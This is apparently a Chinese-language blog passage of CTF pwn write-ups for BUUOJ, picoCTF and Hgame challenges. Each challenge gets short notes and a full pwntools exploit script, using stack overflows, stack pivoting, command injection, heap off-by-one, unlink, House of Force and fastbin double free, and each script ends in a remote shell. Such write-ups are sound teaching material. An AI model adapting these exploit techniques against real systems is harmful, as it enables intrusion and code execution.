ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
ru("tell me your name\n")
pd=asm(shellcraft.sh())
sl(pd)
ru("What do you want to say to me?\n")
sl('a'*0x28+p64(0x601080))
p.interactive()
ciscn_2019_es_2--栈地址泄露
这道题自己又傻了,尝试了栈迁移去做,但是system()
函数打不通,利用one_gadget
本地可以但是远程不知道libc
的版本。其实,这道题的思路应该是很清晰的,有两次read
,每次read
后都又printf
函数,利用printf
函数输出到'\x00'
结束的特点可以泄露出原ebp
的值,这个值是指向栈中的,利用栈上恒定的偏移量可以迁移到我们输入的内容中,exp:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='ciscn_2019_es_2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',28873)
e=ELF("./"+binary_name)
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
ru("Welcome, my friend. What's your name?\n")
pd='a'*0x27
sl(pd)
ru('a'*0x27+'\n')
leak_addr=leak_address()
print hex(leak_addr)
fake_ebp=leak_addr-0x38
bin_sh=fake_ebp+12
leave_ret=0x080484b8
pd=p32(e.plt['system'])+'bbbb'+p32(bin_sh)+'/bin/sh\x00'
pd=pd.ljust(0x28,'\x00')
pd+=p32(fake_ebp-4)+p32(leave_ret)
sl(pd)
p.interactive()
在printf
函数后下断点可以看到指向字符串的指针,也就是fake_ebp的地址.
bjdctf_2020_babystack2--简单整数溢出&ret2text
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='bjdctf_2020_babystack2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26760)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
ru("[+]Please input the length of your name:\n")
sl("-1")
ru("[+]What's u name?\n")
pd='a'*(0x10+0x8)+p64(0x400726)
sl(pd)
p.interactive()
bjdctf_2020_router--简单Linux命令考查
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='bjdctf_2020_router'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',28706)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def ping(buf):
ru("Please input u choose:")
sl('1')
ru("Please input the ip address:\n")
sl(buf)
def lea_comment(buf):
ru("Please input u choose:")
sl('3')
ru("Your suggest will help us to do better!\n")
sl(buf)
ping(';/bin/sh')
p.interactive()
hitcontraining_heapcreator--简单chunk extend
分析程序,有show()
函数可以泄露地址,有create()
函数但无堆溢出,delete()
函数没有UAF,洞在edit()
函数,直白的允许多输入一个字节,是off by one,构造出chunk overlapping,覆盖存储指针的地址为free()
函数的got表,读可泄露地址,写可劫持程序流,exp:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='heapcreator'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25401)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(size,content):
sla("Your choice :",'1')
sla("Size of Heap : ",str(size))
sla("Content of heap:",content)
def edit(idx,content):
sla("Your choice :",'2')
sla("Index :",str(idx))
sla("Content of heap : ",content)
def show(idx):
sla("Your choice :",'3')
sla("Index :",str(idx))
def delete(idx):
sla("Your choice :",'4')
sla("Index :",str(idx))
z('b *0x400942\nb *0x4009C8\nb *0x400CCB\nb *0x400CE0\n')
add(0x18,'a')#0
add(0x10,'a')#1
edit(0,'a'*0x18+'\x41')
delete(1)
pd='a'*0x18+p64(0x21)+p64(0x30)+p64(e.got['free'])
add(0x30,pd)#1
show(1)
ru("Content : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
edit(1,p64(sys_addr))
edit(0,'/bin/sh\x00')
delete(0)
p.interactive()
picoctf_2018_leak_me
拿到程序,发现不能f5,报错信息如下:
找到相应地址处的指令:
查一下资料:
先反汇编错误函数即可,接着分析程序,这里直接输入256个字符覆盖字符串结束符,可以泄露password内容:
picoctf_2018_buffer overflow 2
具体偏移调试一下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='PicoCTF_2018_buffer_overflow_2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29985)
#e=ELF("./"+binary_name)
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
pd='a'*(0x6c+4)+p32(0x080485CB)+'aaaa'+p32(0xDEADBEEF)+p32(0xDEADC0DE)
ru("Please enter your string: \n")
sl(pd)
p.interactive()
picoctf_2018_got_shell
改写puts()
的got
表为win
函数地址:
picoctf_2018_rop chain
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='i386')
local=0
binary_name='PicoCTF_2018_rop_chain'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26075)
#e=ELF("./"+binary_name)
libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#z()
p_ret=0x0804840d
pd='a'*(0x18+4)+p32(0x080485CB)+p32(0x080485D8)+p32(p_ret)+p32(0xBAAAAAAD)+p32(0x0804862B)+'aaaa'+p32(0xDEADBAAD)
ru("Enter your input> ")
sl(pd)
p.interactive()
hitcontraining_bamboobox
整了很久,至今仍有一些疑惑,由于buu上/home/bamboobox/flag下没有flag文件,我们只能通过unlink直接getshell来读flag文件,先贴出House of Force的解法:
这个解法需要注意一开始申请的chunk size需要大于0x10,否则top chunk申请到我们的target addr后,修改后的size是0x39,小于nb+MINSIZE,无法绕过检查:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='bamboobox'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',28089)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(lenth,name):
sla("Your choice:",'2')
sla("Please enter the length of item name:",str(lenth))
sla("Please enter the name of item:",name)
def show():
sla("Your choice:",'1')
def change(idx,lenth,name):
sla("Your choice:",'3')
sla("Please enter the index of item:",str(idx))
sla("Please enter the length of item name:",str(lenth))
sla("Please enter the new name of the item:",name)
def remove(idx):
sla("Your choice:",'4')
sla("Please enter the index of item:",str(idx))
z("b *0x400A6F\nb *0x400C05\nb *0x400CDD\n")
add(0x30,'a')#0
pd='a'*0x30+p64(0)+p64(0xffffffffffffffff)
change(0,0x40,pd)
offset=-(0x40+0x20)-0x10
add(offset,'a')
magic=0x400D49
add(0x10,p64(magic)*2)
sla("Your choice:",'5')
p.interactive()
接着是unlink的解法,以下两种都可以:
首先是通过unlink修改free函数的got表为system函数,但是这种解法申请的第一个chunk必须申请≤0x70,申请0x80大小的chunk就会报错,至今疑惑:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='bamboobox'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27353)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(lenth,name):
sla("Your choice:",'2')
sla("Please enter the length of item name:",str(lenth))
sla("Please enter the name of item:",name)
def show():
sla("Your choice:",'1')
def change(idx,lenth,name):
sla("Your choice:",'3')
sla("Please enter the index of item:",str(idx))
sla("Please enter the length of item name:",str(lenth))
ru("Please enter the new name of the item:")
sd(name)
def remove(idx):
sla("Your choice:",'4')
sla("Please enter the index of item:",str(idx))
z("b *0x400A6F\nb *0x400C05\nb *0x400CDD\n")
add(0x70,'a')#0
add(0x80,'a')#1
add(0x10,'/bin/sh\x00')#2
head=0x6020c8
pd=p64(0)+p64(0x71)
pd+=p64(head-0x18)+p64(head-0x10)
pd=pd.ljust(0x70,'\x00')
pd+=p64(0x70)+p64(0x90)
change(0,0x90,pd)
remove(1)
pd='\x00'*0x10+p64(0x60)+p64(e.got['free'])
change(0,len(pd),pd)
show()
ru("0 : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('free',leak_addr)
offset=leak_addr-libc.dump('free')
sys_addr=offset+libc.dump('system')
pd=p64(sys_addr)
change(0,8,p64(sys_addr))
remove(2)
p.interactive()
最后是直接改atoi函数的got表,这样第一个申请到的chunk是0x80也没关系:
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='bamboobox'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27353)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(lenth,name):
sla("Your choice:",'2')
sla("Please enter the length of item name:",str(lenth))
sla("Please enter the name of item:",name)
def show():
sla("Your choice:",'1')
def change(idx,lenth,name):
sla("Your choice:",'3')
sla("Please enter the index of item:",str(idx))
sla("Please enter the length of item name:",str(lenth))
ru("Please enter the new name of the item:")
sd(name)
def remove(idx):
sla("Your choice:",'4')
sla("Please enter the index of item:",str(idx))
z("b *0x400A6F\nb *0x400C05\nb *0x400CDD\n")
add(0x80,'a')#0
add(0x80,'a')#1
add(0x10,'a')#2
head=0x6020c8
pd=p64(0)+p64(0x81)
pd+=p64(head-0x18)+p64(head-0x10)
pd=pd.ljust(0x80,'\x00')
pd+=p64(0x80)+p64(0x90)
change(0,0x90,pd)
remove(1)
pd='\x00'*0x10+p64(0x80)+p64(e.got['atoi'])
change(0,len(pd),pd)
show()
ru("0 : ")
leak_addr=leak_address()
print hex(leak_addr)
libc=LibcSearcher('atoi',leak_addr)
offset=leak_addr-libc.dump('atoi')
sys_addr=offset+libc.dump('system')
pd=p64(sys_addr)
change(0,8,p64(sys_addr))
ru("Your choice:")
sd('/bin/sh\x00')
p.interactive()
jarvisoj_level4--DynELF泄露地址
题目缺少libc,利用了pwntools下的工具DynELF可以泄露system函数,利用read函数读入/bin/sh
到bss段,从而getshell:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='level4'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29460)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#这里只能返回到main/start,不能返回vul,需要初始化与栈相关的变量
main=0x08048470
def leak(addr):
pd='a'*(0x88+4)+p32(e.plt['write'])+p32(main)+p32(1)+p32(addr)+p32(4)
sd(pd)
data=p.recv(4)
return data
d=DynELF(leak,elf=e)
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
#z()
bss=0x0804A100
pd='a'*(0x88+4)+p32(e.plt['read'])+p32(main)+p32(0)+p32(bss)+p32(8)
sd(pd)
sd('/bin/sh\x00')
pd='a'*(0x88+4)+p32(sys_addr)+p32(0)+p32(bss)
sl(pd)
p.interactive()
roarctf_2019_easy_pwn--简单off by one
分析程序,可以看到在write note的时候,如果我们输入的size比申请时size大10,则存在off by one漏洞,我们可以利用这个通过chunk extend的技术,构造重叠的堆块,通过构造unsorted bin并与使用的堆块重叠来泄露地址,随后arbitary malloc,修改fastbin的fd,申请到任意地址,最后由于所有的one_gadget都不能满足要求,我们利用realloc抬栈以满足条件,getshell,exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='roarctf_2019_easy_pwn'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26105)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(size):
sla("choice: ",'1')
sla("size: ",str(size))
def edit(idx,size,content):
sla("choice: ",'2')
sla("index: ",str(idx))
sla("size: ",str(size))
sla('content: ',content)
def delete(idx):
sla("choice: ",'3')
sla("index: ",str(idx))
def show(idx):
sla("choice: ",'4')
sla("index: ",str(idx))
#z('b *0x555555554CCC\nb *0x555555555054\nb *0x555555554f6D\nb *0x5555555551cb\n')
add(0x20)#0
add(0x40)#1
add(0x60)#2
add(0x10)#3
delete(0)
add(0x28)#0
edit(0,0x28+10,'a'*0x28+'\xc1')
delete(1)
add(0x40)#1
show(2)
ru("content: ")
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-libc.sym['__malloc_hook']-0x10-88
log.info("libc_base:"+hex(libc_base))
add(0x60)#4->2
delete(2)
malloc_hook=libc_base+libc.sym['__malloc_hook']-35
edit(4,8,p64(malloc_hook))
add(0x60)#2
add(0x60)#5->malloc_hook
one_gadget=libc_base+0xf1147
realloc=libc_base+libc.sym['__libc_realloc']
edit(5,27,'a'*(35-0x10-8)+p64(one_gadget)+p64(realloc+4))
add(0x10)
p.interactive()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
jarvisoj_test_your_memory--ret2text
程序给出了system程序段,需要我们传入command字符串,打印出的hint中存储的就是字符串的地址,我们只需要将其作为参数传入后ret2text即可,但是这里有个坑点就是中间需要经过strncmp函数,该函数的前两个参数都是字符串地址,因此我们必须保证我们构造的返回地址(也就是s2的位置)是可读的,否则会卡在该函数上。exp:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='memory'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25078)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
'''
z()
ru("\nwhat???? : \n0x")
leak_addr=int(p.recv(7),16)
print hex(leak_addr)
ru("cff flag go go go ...\n\n")
'''
pd='a'*0x13+'aaaa'+p32(0x080485BD)+p32(0x080488ff)+p32(0x80487e0)
sl(pd)
#sl('a')
p.interactive()
something else
Hgame2020-Week3-Annevi
主要考查了unlink,首先利用small chunk free后再次show泄露main_arena地址,随后利用edit()函数中的堆溢出漏洞和存放malloc的chunk指针的数组伪造small_chunk造成unlink,最后覆盖free_hook地址为system函数,释放chunk以getshell,exp:
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='Annevi'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('47.103.214.163', 20301)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
def add(size,content='aa'):
sla(":","1")
sla("size?\n",str(size))
sla("content:",content)
ru("done!\n")
def dele(idx):
sla(":",'2')
sla("index?\n",str(idx))
#ru("done!\n")
def show(idx):
sla(":","3")
sla("index?\n",str(idx))
def edit(idx,content):
sla(":","4")
sla("index?\n",str(idx))
sla("content:",content)
ru("done!\n")
z('b *0x4009F3\nb *0x400AA9\nb *0x400B1E\nb *0x400BA7\n')
add(0x90)
add(0x90)
dele(0)
add(0x90,'')
show(0)
ru("content:")
leak_addr=u64(p.recv(6).ljust(8,'\x00'))
offset=leak_addr-0x0a+0x78-88-libc.symbols['__malloc_hook']-0x10
add(0x90)
add(0x90)
head=0x602040
pd=p64(0)+p64(0x91)+p64(head+16-0x18)+p64(head+16-0x10)
pd=pd.ljust(0x90,'\x00')
pd+=p64(0x90)+p64(0xa0)
edit(2,pd)
dele(3)
add(0x90,'/bin/sh;')
pd='a'*0x8+p64(offset+libc.symbols['__free_hook'])
edit(2,pd)
edit(0,p64(offset+libc.symbols['system']))
dele(3)
#dele(1)
p.interactive()
findyourself
是一道考查linux shell命令的题目:
/ 表示绝对路径
./ 表示在当前目录下查找
ls -l 表示以长列表的形式list
/proc/self/cwd 存放当前程序运行进程的current working directory
1>&0 可以重定位输出流,适用于程序流中close(1),getshell后无法回显的问题
Roc826
主要考查fastbin的double free漏洞,分析程序发现在delete()函数中未将函数指针设为NULL,存在UAF漏洞,可以借此泄露main_arena
地址,随后用fastbin的double free attack,找到合适的chunk位置,覆盖free函数got表为system
函数或者覆盖__malloc_hook
为one_gadget地址,再次执行free/malloc函数来getshell,exp:
from pwn import *
context(log_level='debug',arch='amd64')
local=0
binary_name='Roc826'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
p=remote('47.103.214.163', 21002)
e=ELF("./"+binary_name)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#gdb.attach(p,'b *0x400A28\nb *0x400ADE\nb *0x400B57\n')
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
def add(size,content):
sla(':','1')
ru("size?\n")
sl(str(size))
ru("content:")
sl(content)
ru('done!\n')
def dele(idx):
sla(':','2')
sla("index?\n",str(idx))
ru("done!\n")
def show(idx):
sla(':','3')
sla("index?\n",str(idx))
ru("content:")
add(0x90,'a')
add(0x90,'a')
dele(0)
show(0)
leak_addr=u64(p.recv(6).ljust(8,'\x00'))-88
offset = leak_addr-libc.symbols['__malloc_hook']-0x10
add(0x50,'a')#2
add(0x50,'a')#3
dele(2)
dele(3)
dele(2)
add(0x50,p64(e.got['free']-30))#4->2
add(0x50,'/bin/sh')#5->3
add(0x50,'a')#6->2
one_gadget=0xf1147
add(0x50,'a'*14+p64(offset+libc.sym['system'])[:6])#7->fake
sla(":",'2')
sla("index?\n",'5')
p.interactive()